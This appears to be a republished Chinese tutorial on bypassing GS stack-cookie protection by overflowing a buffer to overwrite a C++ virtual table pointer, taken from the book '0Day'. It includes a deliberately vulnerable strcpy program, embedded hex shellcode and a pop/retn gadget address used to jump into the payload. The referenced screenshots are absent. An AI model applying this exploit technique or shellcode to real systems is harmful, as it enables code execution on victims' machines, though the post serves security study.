《0Day》之通过覆盖虚表指针来突破GS

来源:互联网 发布:nginx和apache是什么 编辑:程序博客网 时间:2024/05/21 08:52

对于栈溢出,微软做了GS防护,就是在函数栈帧初始化之后,生成一个随机的cookie,将其保存在EBP之前,同时在.data中也保存一份,在函数返回之前,先检测栈中cookie的值,如果我们还用之前栈溢出的方式,通过shellcode覆盖函数返回地址来达到溢出的目的,这时必然会覆盖掉栈中的cookie,这样的溢出就会被检测到,也就无法达到溢出的目的。但是正所谓你有张良计,我有过墙梯,GS的检测要在函数返回之前才进行,如果在还没到检测之前就实现溢出,那GS不就也只能干看着了吗。要实现在GS检测之前就实现溢出,还是有几种方案的,《0Day》中就提到了通过覆盖虚表指针和异常的方式来实现,这里先说覆盖虚表指针的方式。

在C++中,虚表指针是个一维数组,位于类对象指针之前,也就是说,虚表指针 = 类对象指针 - 4。为了研究虚表指针的溢出,我们需要对它的内存布局有一定的了解,先通过一个小程序来分析它的内存布局。代码如下

#include "stdafx.h"#include <string.h>class GSVirtual {public:void gsv(char *src) {char buf[200];strcpy(buf, src);vir();}virtual void vir() {}};int main(){GSVirtual test;test.gsv("\xB3\x1C\x92\x7C\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1" "\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E""\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33""\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2""\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C""\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38""\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B""\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03""\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1""\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24""\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B""\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB""\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E""\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74""\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x38\x1a\x41");    return 0;}


上面这段也是《0Day》中的代码,我们把它编程一个release版,然后放到OD中去分析。如下图


我们再来看ecx指向的栈布局,如下图


可以看到,虚表指针位于函数参数之下,我们可以通过在栈中覆盖一大段shellcode的方式来把虚表指针给覆盖掉,这样就可以实现溢出了。可能有的人会不理解,覆盖掉虚表指针,那岂不是连函数返回地址都覆盖了,不是说有GS检测么?虽然覆盖了函数地址,但是在调用虚函数的时候,这个函数还没返回,也就是说还没到GS检测的地方,我们就已经溢出去执行shellcode了。

至于覆盖的方式,我们可以通过覆盖虚表指针,让其变成指向函数参数的shellcode,但是这里面临着一个问题,就是这里有一个call操作,我们需要在这个call之后,还能跳转到shellcode中去执行,而且这里又不适用jmp esp这样的指令,因为我们原始的参数不在栈中,是无法通过jmp esp跳转过去的。不过我们可以跳转到之前复制到内存中的shellcode去,我们通过观察栈可以看到,当前esp指向的正是我们复制到内存中的shellcode的地址。如图


既然call会执行一个push指令,那我们是不是可以通过pop指令来实现让esp指向shellcode地址,然后通过retn指令把shellcode地址弹到eip,这样,就可以实现跳转了。通过在模块中找到一组pop retn的指令序列,把它的地址写入shellcode开始的地方,这里找的是0x7c921cb3,这样当执行虚函数时,call的是0x7c921cb3这个地址,然后里面执行了一个pop指令,让esp指向shellcode地址,然后通过retn就可以跳转到shellcode中去执行了。

0 0
原创粉丝点击